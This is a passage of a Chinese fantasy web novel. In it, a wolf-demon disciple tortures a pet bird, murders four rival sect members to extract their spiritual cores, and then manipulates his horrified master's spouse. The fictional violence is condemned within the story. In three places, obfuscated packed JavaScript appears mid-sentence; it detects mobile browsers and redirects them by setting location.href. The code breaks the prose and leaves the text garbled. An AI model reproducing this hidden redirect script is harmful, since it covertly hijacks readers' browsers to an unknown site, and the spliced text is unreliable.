喧嚣之声不再有,周无戎头上的狼耳还没有收回去,他沉默地抚着戴在脖颈上的狼牙,直到感到前方有一道视线看向自己才回神。 他以为是沈缨,瞬间将头上的狼耳收了回去,结果是他的灵宠不弃。 不弃一只小鸟,此刻圆嘟嘟地站在沈缨枕前,或许因为同是妖兽,周无戎隐约看出那鸟的意思,它审视又蔑视地看着他,像是和那墨山宗的人一样看不起他。 周无戎再看一眼沈缨,见他还蜷成一团,被子盖到鼻梁上,露出一双紧闭的睫毛浓长的眼睛,睡得很安定。 周无戎便朝不弃屈了屈二指,隔空将小鸟捉到自己手上来,封住鸟喙折断它的翅膀,折完用灵力将骨头凝起,又再次折断。 * 沈缨睡了迷迷糊糊的一觉,昨晚做了一堆光怪陆离的梦,梦见自己一会儿是沈缨一会是原著里的沈不寻的,醒来时不仅没有觉得休息好了,反而觉得更累了。 他听到周无戎跟他道早,还有枕边不弃的咕咕叫,用力拍了拍脸才勉强精神回来:“早哦早哦。” 他摸摸不弃乱蓬蓬的脑袋,总觉得它今天道早的声音特别凄厉,便把它捧到手里,对着它的小脑袋吧唧吧唧一顿亲:“怎么了?怎么了?你做了噩梦吗?还是饿了?” 不弃和周无戎都愣住了。 沈缨仰头打了个哈欠,刚起床有些黏糊,他是养过宠物的,只是养的时间不长宠物就入了他人的口,不弃脾气坏爱啄人,他也还是挺喜欢这只雄赳赳的小鸟。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14273201|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不弃又大叫:“咕!” 沈缨哦咿一声,用下巴狂蹭它,蹭得不弃闭嘴,就把它塞回怀里摸摸,努力凝聚精神在指尖掐了个洗脸诀,一阵裹着水气的小风在他脸上像个小小龙卷风一样呼啸而过,脸洗好了,魂也回来了。 他下地去,一抬眼发现周无戎还有些发愣地杵在门口,感到有些奇怪:“怎么了你?” 周无戎回神,干巴巴地说没有。 他还在想沈缨刚才吧唧吧唧地亲不弃,一时很想把不弃那个鸟脑袋拧下来。 沈缨往外走,想看看天气好不好,天上下着淅淅沥沥的小雨,他不喜欢雨天,阴湿得很。 正想着要不要和周无戎冒雨离开这里,就见到问天宗的弟子跑来拜见他:“沈师娘!” 沈缨如今已经接受了这个称呼:“嗳!” 那弟子笑着道早:“沈师娘,您今天要和二师兄一起离去了吗?” 沈缨看了看天,周无戎来到他身边作势御剑:“是的,师娘,咱们去下一个地方吧。” 沈缨的食指摸摸咕咕哝哝的不弃:“等一会儿吧?等会太阳高高挂起来了,天不下雨了我们就走。” 弟子应承了一声,便说下去忙别的,谁知离开不久又折回来了,拦着个一身黑衣的陌生年轻人:“道友,你不好好休息,为何到处乱走?” 沈缨也听到了,好奇地看了过去,只见一个脸上有道新鲜伤疤的年轻人气宇轩昂地走过来,问天宗的弟子穿着朴实的灰白布衣,那年轻人穿着的黑衣像是绸缎,在太阳光底下闪着暗光,是五彩斑斓的黑。 他纳闷地扭头问周无戎:“那谁呀?” 周无戎脸色不佳:“昨夜来借宿的。” 黑衣人大老远听见了,朗声回复道:“在下墨山宗弟子墨峙。” 沈缨听这名字觉得有点熟悉,但一时想不起来,那墨峙大大喇喇地走到了他们小院门口,沈缨也没听见系统冒泡,想必是个路人甲,就不太在意了。 他见墨峙脸上都带了伤,伤口一看就是魔物的爪子割出来的,深得很,也不知道得有多痛,原本想疗愈一下这除魔卫道的修士,但看墨峙神情有些跋扈,便有些不自在。 尤其是这年轻人莫名其妙地盯着他。 周无戎挡到他面前去,轻笑道:“墨道友,幸会。” 墨峙看向他,也笑:“阁下就是周无戎吧?” “是。” “百闻不如一见,周道友和我想象中的不太一样,但这妖气外渗的味道却和我想象中的一模一样呢。” 沈缨听了不太高兴,有种自家狗被外人嘲讽了的不乐意,正巧周无戎搁他身前,他耸着鼻子去闻,心想我们家狗有什么味道?明明没有! 周无戎又笑:“墨道友鼻子比狗还灵。” “可能比周道友灵一点吧,这是我天赋技能所致。”墨峙笑着,歪了头看向周无戎身后,“你身后的道友,不会就是秦宗主前不久结契的道侣吧?” 周无戎不笑了:“是与不是和墨山宗无关吧?” “我只是好奇,没有恶意,勿怪。实不相瞒,在下很是敬服秦宗主,对秦宗主所收的徒弟和道侣也是同样的敬仰,一直很想与之相识,没想到今日有此缘分,忍不住就来拜见了。” 对方说得好听,沈缨想着不能给秦戒丢脸,便从周无戎身后出来,打了个招呼:“幸会,我姓沈。” 墨峙当即抬手向他行了个礼:“秦夫人。” 沈缨:“……” 墨峙再抬头,眼睛在他身上打量,似笑非笑的:“未曾想秦宗主的道侣是您这般人物,秦宗主号称人不在无情道内,但心在无情道里,嘴上说着禁欲冷情,怎么突如起来就流于世俗了呢?娶了个扶弱助贫,享了个怀金卧玉,真不知道该说他是眼光独到,还是性情变了。” 沈缨:“???” 周无戎的气压顿时低了好几个度,沈缨虽然有些怂,但生气起来也能怼两句,他也上下打量墨峙:“我没文化,听不懂你什么意思,可你算哪碟子小菜?当免费的调料我都嫌弃,当泔水猪都不吃,就你这样的嘴巴,不知道要拿多少辣椒去腌才能盖住那股烂了三天的臭虾味。” 墨峙脸色一变,转而又变脸哧地一笑,又朝他行了个礼:“今日一见实属有幸,怎奈我等有任务在身不便久留,秦夫人,周道友,有缘再聚。” 说罢拂袖而去,边走边不阴不阳道:“魔物未散啊,骚气冲天的。” 沈缨听见了,大声答道:“是啊,我也闻到了,一股烂牙味!” 问天宗的弟子口齿不太伶俐,气得在原地跺脚:“真是无礼,真是无礼!沈师娘,您别理他!” 周无戎也说道:“师娘,三言两语,不必理会。” “没事没事,我不生气。”沈缨摆摆手,看了好一会儿周无戎的脸色,“你也不要搭理他。” 周无戎笑起来:“师娘多虑了,弟子不会把他的出言不逊记在心上的。” 沈缨点点头,刚才那人说周无戎是狗的时候,这狼崽从头到脚都散发着不爽,这会倒是看不出来了。 他忍不住伸手摸了一下他的发顶,周无戎顿时更温顺了,浑身的气场柔和,有些惊喜地小声叫他:“师娘。” 狼崽这一声甜腻腻的,沈缨鸡皮疙瘩都冒起来了。 16.第 16 章 沈缨看周无戎不生气,便放下了心:“雨也小了,走,我们去下一个营地。” 周无戎抬头,沉思的模样:“师娘,要不我们再等一等?那墨峙修为不低,他说他还有别的任务,倘若是真的,或许和除魔有关,墨山宗在某些地方比我们师门强,也许是他们预知到了什么。” 沈缨听着也觉得有道理,便点了点头:“也行,你师尊师伯还没消息传出来,也不知道他们怎么样了。” 周无戎也跟着忧心忡忡的,兄友弟恭的:“是啊,宗门内的大师兄,小师弟,他们又怎么样了呢?” 沈缨捏捏耳朵,不知道楚放那逆徒攻这会有没有跑去找秦戒,要是有,指不定得多精彩。 雨水忽然越下越大了,不过两刻钟,天空像是哗啦开了一大道口子,无色的血滂沱直下。 沈缨躲进了屋里,饶是他五感不如周无戎也感觉到不对了,寒意爬满了他浑身,他从乾坤袋里掏出件晴朗谷的大红色斗篷裹住自己还不停打哆嗦。 周无戎在他身旁拔剑画地为阵,肃穆地一连画了七个阵:“师娘,弟子为您画些阻隔魔气的阵法和结界,别担心,魔物侵扰不到这里。” 沈缨冷得牙齿哒哒响:“真是魔物来了?观、观天魔已经没了,按道理来说,那些低级的魔物不该都躲没影了吗?” 周无戎摇头:“弟子也不清楚,但弟子能感觉到方圆十里之内的低阶魔物正在冒头,您别担心,不是高阶魔物便没有什么难对付的。” 沈缨担心得伸长脖子看向门外:“那其他弟子,他们对付得了吗?” 周无戎眨了下眼,认真地看向他:“师娘,弟子出去为营地立起结界,再清除掉一些较为麻烦的魔物,您可以一个人待在这里吗?” 沈缨别无他想,猛猛点头:“去吧去吧,你也小心点!你都画这么多阵法在这了,我能有什么事,我不会乱跑的,快去快去!” 周无戎笑了笑:“弟子先前给了您一块令牌,您还收着的,若是有突发状况,用令牌召唤我,我定在分秒之内回到你身边。” 沈缨哆嗦着从红斗篷里伸出一只冷白的手,拇指和食指比了个圆,另外三根葱一样的手指立起来。 他说欧克,周无戎不知道欧克是什么意思,但把他那只冻冷的手握了一握,再把他的手推回斗篷里。 周无戎提剑出了门,任由大雨淋到他身上。 他边走边在万籁喧嚣里听着方圆的动静,五指虚握了握,模拟握住师娘小手的触感。 那么柔弱冰冷,不堪一击。 周无戎没有离开营地太远,他隐入农院后方的荒草石堆里,确保能在高处看到沈缨所在的屋子,营地里的修士全出去清剿魔物了,那四个墨山宗的人即使负伤也没待着。 他挽起右臂,在右臂上用灵力纹上一条禄水宗的银龙图案,他对各大仙盟门派的图腾了然于心,纹到以假乱真不在话下。 只是把这图腾剥离出来时会有些痛,得连皮剥离,不过他到时候可以垂着受伤的右臂去找他师娘,让师娘再次疗愈他。 纹好后,周无戎在雨中将自己的五感扩展到极致,十里之内的动向都在他知觉网里,成群结队的低阶魔物正从山谷里防不胜防地钻出来,但实力都低弱不堪,似乎只是第一波出来探路的。 周无戎应付它们连剑都无需拔,周遭若有杂鱼破土而出,弹指就能将它们击为齑粉。 他守了约莫一个时辰,杀光了那批低弱的魔物后,很快感觉到魔物破土的威胁上了一个台阶。 周无戎仍然不需要出剑,他将身上的灵力无限往外扩散,浑身都有使不完的灵力,一边使一边觉得师娘真的很好用。 若非师娘在问天宗全力治愈了他身上的旧伤,此时他无法自如地运转灵力,定会因旧伤导致灵脉瘀阻,隐痛不休。 师娘真好用啊。 师娘真好用啊。 他无声地默念着,想起墨峙形容他师尊娶他师娘的话:“扶弱助贫,怀金卧玉……扶弱助贫,怀金卧玉……” 不够准确。 是弱也不弱,是金也是玉。 周无戎一直默念到魔物又上了一个台阶,此刻是第三波魔物了,天上的雨下得越发狂躁,他开始拔剑,却也无需怎么用,剑尖贴着地面,成了他聆听大地动静的外置耳朵。 他听到五里之外的问天宗弟子在清剿魔物时陆陆续续地负伤了,他们开始撤退回营地。 他身上外扩的灵力够强,附近的修士完全能感应到,只要他们能活着撤退到这营地之内就能得到庇护。 周无戎专注地听着,耐心等了一会儿,听到九里之外的墨山宗弟子也要撤退回来了。 八里、七里……一里,半里。 周无戎往灵剑注满灵力,将剑插入土中,剑里的灵力一时半会儿散不尽,至少能维持溢散半刻钟。 他把剑安在这里,捏了个隐身诀,收敛了全身气息,朝着墨山宗那四个弟子而去。 不到半里的距离,几个弹指之间就到了。 以墨峙为首的那四个人且战且退,四人不同程度地负伤,周无戎打量着他们,和打量牲口没什么区别。 墨峙看不起妖,但多少修士以妖族为坐骑灵宠,能用则用,不能就杀了剖妖丹。 毕竟每一只能化形的妖都炼有妖丹,死后丹不灭,剖了能助力修炼。 周无戎幼年时剖过不少,对于将妖丹融炼为自己的修为得心应手,甚至于有段时间剖得太多,熔炼出来的修为多得用不上,他便将那些修为凝聚在自己掉落的一颗狼牙上。 如今这承满灵力的狼牙戴在他脖颈间,无一日不提醒他,他是怎样成功活到今日的。 周无戎觉得修士也是如此,只是修士的灵核似乎不像妖丹那样是固体,而是气体,随着身死一瞬就蒸发消逝了。 修士自爆灵核时可以爆发出生前百千倍的灵力,听起来比妖丹更有助力,妖丹可以剖,灵核为什么不可以?灵核死了就消散,那便活着剖。 周无戎想这么尝试很久了,恰好今天有牲品送上门来,不剖白不剖。 * 沈缨在屋里裹着斗篷哆哆嗦嗦,闹不明白怎么突然变天成这样,他把不弃又塞回乾坤袋里,搁里面东翻西找能取暖的东西,所幸当时离开晴朗谷时,青骨给他准备的“嫁妆”囊括了四季春秋,夏有避暑珠,冬就有驱寒珠。 那红色的驱寒珠一握到手,沈缨顿时解救了,暖流从手心涌到四肢百骸去,舒服得他简直想朝着晴朗谷的方向,给青骨这个好义父磕个头。 他抱着膝独自坐了一个半时辰,几次想掏出周无戎的令牌问问他状况怎么样,又怕他正在清剿魔物,突然弄个“语音电话”给他会害他乱了阵脚,独自捱了半天,倒是有其他的“语音电话”传给他了。 是秦戒通过道侣的同心契传了声给他:“小馋。” 这声音突然在耳边炸开,沈缨人也炸得跳了起来:“秦戒!你怎么样?你那边怎么样?” 秦戒喘息着笑了起来:“挺好的,但也不怎么样。前面十一天都风平浪静,直到今天,我阴差阳错地触发了另一只高阶魔物的秘境,那魔物快要降临在大漠上了,这只比观天魔强了将近三十倍,是解牛魔。” 沈缨差点跳上屋顶去,头皮发麻到快要掉头发。 解牛魔——庖丁解牛。 这只魔物给沈缨留下的阴影不浅,原著里它到后期才出现,一出来就会大范围肢解人族,会把人的整副骨架完完整整地剖出来,皮肉半吃不吃,所到之处是物理层面的“骨肉分离”。 这魔物给沈缨阴影最深的是,秦戒的好友,那位长得像牛、绰号“牛牧”,活宝一样的梨园宗宗主朱牧,就是被解牛魔给生剖生吃而死。 朱牧死的时候原著评论区炸过一波,不仅是因为人设好死得惨,也因为作者有点恶趣味,一开始就让秦戒秦尚两兄弟老牛长老牛短地叫朱牧取笑,结果朱牧真的被当牛一样解剖掉了。 朱牧死后秦戒连个牛字都不愿意听,更不愿意念,看得读者更扎心了。 别的读者看解牛魔和朱牧之死可能没有沈缨那么强的通感,毕竟他是厨子,他真知道“庖丁解牛”是什么样的。 沈缨牙齿咯咯作响,秦戒还能笑着安慰他:“别怕小馋,解牛魔一时半会还出不来,西境那边也来了帮手,我那位墨山宗的宿敌及时赶过来了。我在外,他们那群人在内,西境的结界是不会被解牛魔碾破的。但那姓墨的不好惹,你得躲起来,无戎在不在你身边?你不要离开他,他会保护好你,听好了,叫他把你藏起来,不要被我那宿敌看见。” 沈缨知道他宿敌叫墨成规,是个会专门找问天宗麻烦的硬茬,但这家伙现在不重要,他急得破音:“你别管我了,你怎么办?你和秦尚哥怎么办?你们受伤了吗?” “我们兄弟没事,但楚放这个混崽子偷偷跟进来了,添了乱也添了伤。”秦戒声音一下子冷了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他继续向前走。 距离周无戎一百米不到的时候,沈缨整颗心都像在飞,感觉克服了天大的难关,自己是世上进步最大的好崽种。 他简直想和周无戎讨个夸奖。 不过那狼崽嘴巴一直很甜,发现他能徒步过来肯定会说好听的话的。 周无戎所在的位置被许多奇形怪状的魔物挡住了,沈缨越走越从容,学会了闪避魔物,躲开它们的舔舐朝终点而去。 直到距离剩下二十米不到的时候,沈缨才意识到了不对劲。 周无戎如果在清剿魔物,他应该御剑飞在半空中,或者提剑站在地面,一挥剑就会有白光闪过,没准沈缨还会被误伤。 他距离周无戎越来越近,可是那终点魔影幢幢,平静得仿佛连风都没有吹过。 沈缨摸了摸乾坤袋,想从中掏出令牌叫一声狼崽,紧接着,他看到不远处躺着两具墨山宗弟子的尸体。 沈缨转而掏出了荆棘鞭。 * 低阶魔物在丈余大的结界外拥挤,周无戎在结界内赤手拧断了墨峙的脖子,在他快死之前才解除隐身状态,适时露出手腕上的禄水宗银龙图纹,确保墨峙看清了,随后一拳打碎他整个天灵盖,打碎记忆只留下最后一幕,顺利地祸水东引。 待人死透了,周无戎半蹲下来,并指在墨峙身上寻找还没停止的灵力回路,锁定他的灵核位置,尝试一瞬剖出来。 前面三个墨山宗弟子的灵核太弱了,他的手法也不太熟练,只剖出一点就蒸发殆尽,墨峙强一些,他熟能生巧了,这次可以成功。 周无戎很快找准了墨峙还没彻底消失的灵核,徒手挖出了包裹着灵核的一团血肉,捏在掌心里提炼其中的灵核。 他一边操作,心里又在想墨峙对他师娘说的话。 怀金卧玉,怀金卧玉。 说得很对,但这样的话只能真怀抱过、真宿卧过他师娘的人才有资格说。 因这一念,他慢了一拍,就只是一拍,就与成功失之交臂了。 一道布满荆棘刺的鞭子抽过来,他手抖了。 墨峙的灵核消亡了。 周无戎汗毛直立,荆棘鞭抽上了他的肩背,也捎来了沈缨惊恐又生气的大喊。 “狗杂种!你在干什么?” 周无戎生生挨了一记鞭打,心里一瞬只是想: 都说了我不是狗。 17.第 17 章 沈缨想破脑袋都没想过会看见这么一出凶杀现场。 他抖成筛子,惶惶无措地握着鞭子又抽了周无戎一次,恨不得立即把他抽出凶案现场,又恨起自己怎么不早点追过来。 周无戎被鞭打得身体一晃,从半蹲变成了半跪,满是血污的右手按在地面,一边借着大雨努力洗刷血渍,一边就地运灵撑开结界。 结界将那些靠近沈缨的低阶魔物弹开,他专心地保护他师娘,师娘扬起鞭子打他。 周无戎从慌乱中迅速冷静,然而被鞭笞的肩颈皮开肉绽,一路疼到心脏里,他以为师娘手里的鞭子是可怕的灵武,把他的魂魄都抽出了血,可是运灵一周天,发现自己内里好端端的,偏生疼得前所未有。 “混蛋!狗改不了吃屎!” 师娘气得声音沙哑,又在拿他最讨厌的言语唾骂他,周无戎哑然无声,只知道望着师娘那张漂亮的脸上出现的神情,暴怒惊恐,绝望崩溃,都是他刚才在墨山宗弟子死前的脸上看到过的。 师娘为什么这样? 人类很好懂,人类又很难以理解。 “周无戎,你都干了些什么啊?到处都是怪物,你不去除魔卫道,你在这里干什么!你把这几个人挖成这样,你……你还是人吗?” 周无戎看着他朝自己走近一步,下意识地半跪着往后躲,视觉捕捉到那荆棘鞭朝自己甩过来的缓慢弧度,他僵硬地躲不掉,只能侧过脸,感受到鞭尾从侧颈燎到胸膛,辛辣地抽出血线,于是他又看到自己的血珠溅到地面去,刺目得神魂归位。 沈缨这时也从过激的情绪乱流里回神,因为系统不停地在为他播报任务进度。 【7/9999,积分90】 90的情绪波动,意味着周无戎此时的情绪波动只比上次他轻轻肘击他高一点。 沈缨如临深渊,万念俱灰,脑子乱哄哄地想狼崽到底在想什么,到底有没有心肝,有没有一点人性。 如果没有,不要披着人|皮来骗人,尤其是别来骗他,他经不起骗,他的脑袋都要坏掉了。 “师娘,您别生气,雨太大了,您冷不冷?” 周无戎又在用那种青涩的温柔语调说话,横听竖听都是乖顺体贴,沈缨无法再被蛊惑,只知道呆呆地看着他那张不知披了多少面具的脸,试图在他脸上看出什么真情实意的蛛丝马迹。 “师娘,您不要再打我了好吗?弟子可以向您解释的,我们先离开这里,去获得森山灯的那个陵墓里避雨好不好?” 周无戎朝他膝行过来,沈缨避如蛇蝎,后退到踉跄着险些摔倒,余光里看到距离他最近的修士尸身,更是觉得周无戎像修罗无常。 他甚至觉得他要杀他灭口了。 沈缨握着荆棘鞭警告他离他远点:“你休想再骗我,休想,我和你师尊结契了,我要是死了他立马就知道是怎么回事,我告诉你你掂量掂量!” 周无戎脸上是全然的茫然:“师娘,您不会死的,我在这儿呢,哪怕是此刻有高阶魔物降世,弟子也会保护你的……” 沈缨脸色发白地打断他,语无伦次地大喊:“你闭嘴!我不会再相信你的花言巧语的,你就是一只黄鼠狼,你连狗都不是,我亲眼看到你杀人了!我要把这事告诉秦戒,让他把你丢回妖界去!” 他还没喊完,声带就像被人掐住了,周遭灵压急剧降低,沈缨惊慌地发觉自己被定住身体,眼睁睁看着周无戎从地上站起来,刹那间闪到他身后,纹了银龙的右臂箍住了他的腰身。 周无戎在他耳后不住地恳求:“对不起师娘,弟子冒犯了,求您给弟子一个解释的机会,不要把我赶出人族。” 沈缨动弹不得,用尽全力也只能从喉咙里发出呜呜的声音。 很快,周无戎操控着远处的灵剑呼啸而来,他一手环着沈缨一手控剑,把营地周围的魔物一扫而空,本是想杀尽十里之内以发泄戾气,却发现手抖得控剑不利,抱着师娘的右手抖得像在他腰上弹琴,已经混乱到失控了。 周无戎立即御剑带他离开,当务之急是把他弄出去,要想办法哄住他,但千想万想,抱着他就像在抱一个烫手山芋。 他收拾他手里的荆棘鞭,徒手把这不短的鞭子一圈圈缠到自己左臂上,左臂就被割得鲜血淋漓,却没有像被鞭打时那么的疼痛难忍。 所以问题出在他师娘身上,不是武器威力大。 他没有想到他柔弱的师娘会有这么暴力的时候。 师娘那只握鞭的手,他一个半时辰前才浅尝辄止地碰过,那么纤细那么雪白,怎么忽然面目全非了呢? 周无戎遇到了一个从没解过的难题,他不会解,横着手臂呈在沈缨面前说:“师娘,你的鞭子打人很疼。” 话说出口,自己也觉得不对,没有压制着对方又朝对方控诉的道理。 周无戎第一次觉得言语这么无力无用。 索性忍受起了死寂。 如此半强制半控诉地把他带回了临阳山谷,周无戎又不想把沈缨抱到那刻满岩画的陵墓里了,潜意识里觉得那个地方最好不要再进去了,以免先前有关它的好记忆蒙上阴影。 周无戎就将沈缨带到距离瀑布较远的小潭边上,脱了自己的外衣铺在天然的大石上,把他放在上面坐好,自觉得跪在他面前仰着头看他。 他没有这么快解开对沈缨的压制,不想再听他狗上狗下地唾骂自己。 沈缨只有一双眼睛能朝他传达情绪,他便认真地看着他的眼眸,确定待会解开对他的束缚,小师娘一定又会再鞭打他。 周无戎跪坐着,忍不住用双手握住他冰冷的两手,无法理解师娘裹在一袭红斗篷里为何还这么了无温度,他裹住他双手,单方面辩解:“师娘,那几个墨山宗的人不算是我杀的,他们本就受了伤,我不出手,他们会被魔物吞噬,他们本来就是要死的。” 说罢,他小师娘的眼睛里流露出了不可置信和滔天怒火。 周无戎立即改口,从其他方向辩解:“您别生气,是弟子错了。是,弟子看他们不顺眼,他们墨山宗和我们问天宗处处作对,明明是我们的同门弟子好心收留他们在营地里养伤,可是你看,他们羞辱我在先,又羞辱您在后,他们不死,来日不知道要给问天宗添多少的祸根……” 他发现小师娘更生气了。 周无戎只好住口,鬓角出了汗,心里并不觉得杀人有什么错,但嘴上反复认错,直到沈缨的手回温了,便解除了施在他身上的压制。 迎面又是鞭打。 周无戎皱着眉闭上眼,不偏不躲,脑海里忽然想到沈缨对那只臭小鸟的喜欢,以及他在四翼仙鹤背上时常常爱抚鹤羽的模样,他一咬牙,赌了起来。 沈缨喜欢禽族的羽毛,兽族呢? 他也有毛绒绒,他也有灵宠的一面。 沈缨一能动弹就蚱蜢似地跳起来,他气周无戎用武力辖制了他一路,也气他满口谎话,又歪曲事实,又三观不正,抽起他时力气便大得很。 但这一鞭子下去,还是下意识地偏开了方向,鞭尾响亮地甩到了地上,扬起了一阵雾气,活物一样闪着幽幽的绿光。 待薄雾隐去,一双灰白的幼狼耳朵在空气中微微抖动。 沈缨始料未及。 只见周无戎脏兮兮地跪在地上,又害怕又难受的样子,抬头看向他,眼里还有泪光。 沈缨的心脏炸裂似地狂跳,想去把他扶起来,只能死死攥着鞭子让自己纹丝不动:“你、你……” “是,弟子不好。”周无戎眼神灰暗,神情可怜地看向他,看起来狼狈无助,“师娘,弟子不说惹您生气的话了,您打我吧,只求您不要向师尊告状,不要将我赶出师门,只有这一条,求求您再给我一次机会,不要把弟子驱逐出去。” 说罢,他捉着荆棘鞭的末梢把它放在旁边,跪好了低头,狼耳朵簌簌地抖,一派逆来顺受、乖巧孝顺的好徒弟模样。 沈缨的眼睛几乎凝固在他脑袋上收不回去的狼耳朵,气喘吁吁地说不出重话。 他养过狗。 热乎乎、毛绒绒,无限忠诚、极度可爱的小狗。 审美和喜好就像喷嚏,无法掩饰。 他知道周无戎是狼,可他没见过他的犬科兽态,他以为周无戎会一直维持着人形,从人类少年的样貌到青年形体,可他现在的样子像一个玩角色扮演的高中男生,本就是未成年的模样,此刻更加幼态,本就长得得天独厚,此刻更加难以言喻的…… 沈缨忍受不了地向系统控告:“一个反派,为什么要把他的外貌设定得这么好?!” 系统竟也不反驳:【亲爱的小缨,不觉得这样更有反差吗?^_^】 沈缨握鞭子的手提了又垂,垂了又提,在心里朝系统乌泱泱了半晌,系统鼓励他:【但周无戎本体再可爱也是一只坏狗,别的坏小狗最多是咬人一口,还是打了狂犬疫苗的,可是他呢?他又杀人,又在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14290392|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找你的弱点,不用心软,放开手脚教训他吧,不要被他拿捏哦】 “拿捏”狠狠戳到了沈缨的痛处,像是为了证明事实并非如此,他咬紧牙关,心狠地扬鞭抽了过去,力气也没能使出多大,只当是撕一片纸片。 谁知周无戎轻飘飘的,居然不堪一击地被这一鞭抽得整个人滚了出去。 他尾椎上还蹭的冒出了一条蓬松的白色大尾巴。 那耷拉的尾巴倒映在沈缨眼睛里,他呼吸一停,手里的鞭子闪着光滋滋作响,好似他发不出来的心声。 周无戎还像是被揍出了连锁反应,双手和双脚都变成了白色的大狼爪,变完,他似乎也不知所措,竟跪地蜷缩,俯首帖耳,大尾巴卷起来盖住脑袋,像是要把爪垫和耳朵都藏住,但根本藏不了一点。 沈缨再下不去手,甚至都没听到系统播报这一鞭下去的积分只有40。 他只想逃避,恍惚想到了什么,他从乾坤袋里找出了那幅在这山谷里找到的明烛画,掏出来注入灵力,顿时有浓雾爆炸一样涌出来。 周无戎自顾自地抱了一会脑袋,荆棘鞭迟迟没有落下验证了他的猜测,他舔过犬齿,笃定了沈缨对他的本体没有抵抗力,盘算着等他再抽他几鞭,就化成完全形态的小白狼。 结果浓雾流淌到了脚下,他抬眼一看,举目皆是雾气,他完完全全看不见他师娘,一瞬像是和他隔在了银河两端。 “……” 周无戎愣住了。 “师娘?” 浓雾越来越厚,逐渐到伸手不见五指的程度,周无戎心里异样的慌乱越来越重。 他不要这样,他情愿沈缨继续把他抽得皮开肉绽。 他爬起身来在浓雾里找他,身上的灵力全部使出来了,却也无法拨云见雾,五感都调动到了极致,始终找不到沈缨。 相处的这么些天以来,沈缨就没有这么久地离开他的视线过。 周无戎不停地唤着师娘,一声又一声,他的耐心向来很好,但在浓雾里逐渐荡然无存,变得像他大师兄一样歇斯底里。 那卷明烛画本来就邪门,涌出来的雾气隔绝了一切生命体征,他浮起一个不好的念头,沈缨若是在这浓雾里死了,他恐怕都不知道。 周无戎越来越失控,浑然不知自己的獠牙都化形出来了,凶神恶煞又慌不择路地到处乱找:“师娘!你到底在哪?” 浓雾里漆黑不见天日,屏蔽了一切,不知时间流速,更不知空间变化。 周无戎控制不住自己的心跳,分不清是找了他一刻钟,还是找了一百年,他束手无策,装无可装想无可想,只好嘶吼:“师娘,你再不出来,我便转头去把你疗愈过的禄水宗弟子杀了!” 漆黑的天地里忽然出现了一点亮光,看似遥不可及,原来就在几步开外。 沈缨提着森山灯怒气冲冲地过来,气得两眼通红,扬手就给了他一巴掌。 【9/9999,积分200】 “你再说一次杀人试试!” 周无戎脸上火辣辣的,眼角亦然,他没注意自己视线模糊,反手抓住了沈缨来不及收回去的手腕,死死攥着不肯松开。 沈缨气得绑在额头间的发带都歪了:“狗东西!人面兽心!狗都不如!” 他骂骂咧咧,周无戎把狼尾巴和耳朵都放出来,小师娘就戛然而止了。 周无戎惊魂初定,顺着他的手腕握住了那盏森山灯,将灵力凶猛地注入,那玉灯爆发出夺目的光芒,瞬间照亮四野,把明烛画涌出来的雾气驱逐殆尽。 刹那之间,山谷还是那个山谷,天地还是这片天地,心却似乎都不是刚才那颗心。 周无戎不受控制地甩着尾巴盯着沈缨看,恨不得把那卷明烛画夺过来撕成碎片,沈缨也在盯着他的尾巴和耳朵,看久了回过神来,又忿忿地甩开手。 周无戎下意识往前一倾,想挨他的大耳刮子,沈缨只是火冒三丈地骂他:“周无戎,你要是再敢把杀人这两个字挂在嘴边,我保证,你休想再踏进问天宗一步!” 杀人没有错。周无戎心里想。但是此时师娘说不行,那就迎合他,不是什么大事:“弟子知道了,弟子再也不敢了。弟子刚才那么说,只是想找到师娘。” 沈缨骂到声音沙哑:“你再敢滥杀无辜试试看,老天长着眼睛呢,到时你等着挨报应,下半辈子当野狗去吧!” 周无戎点头。 他一点也不想当野狗。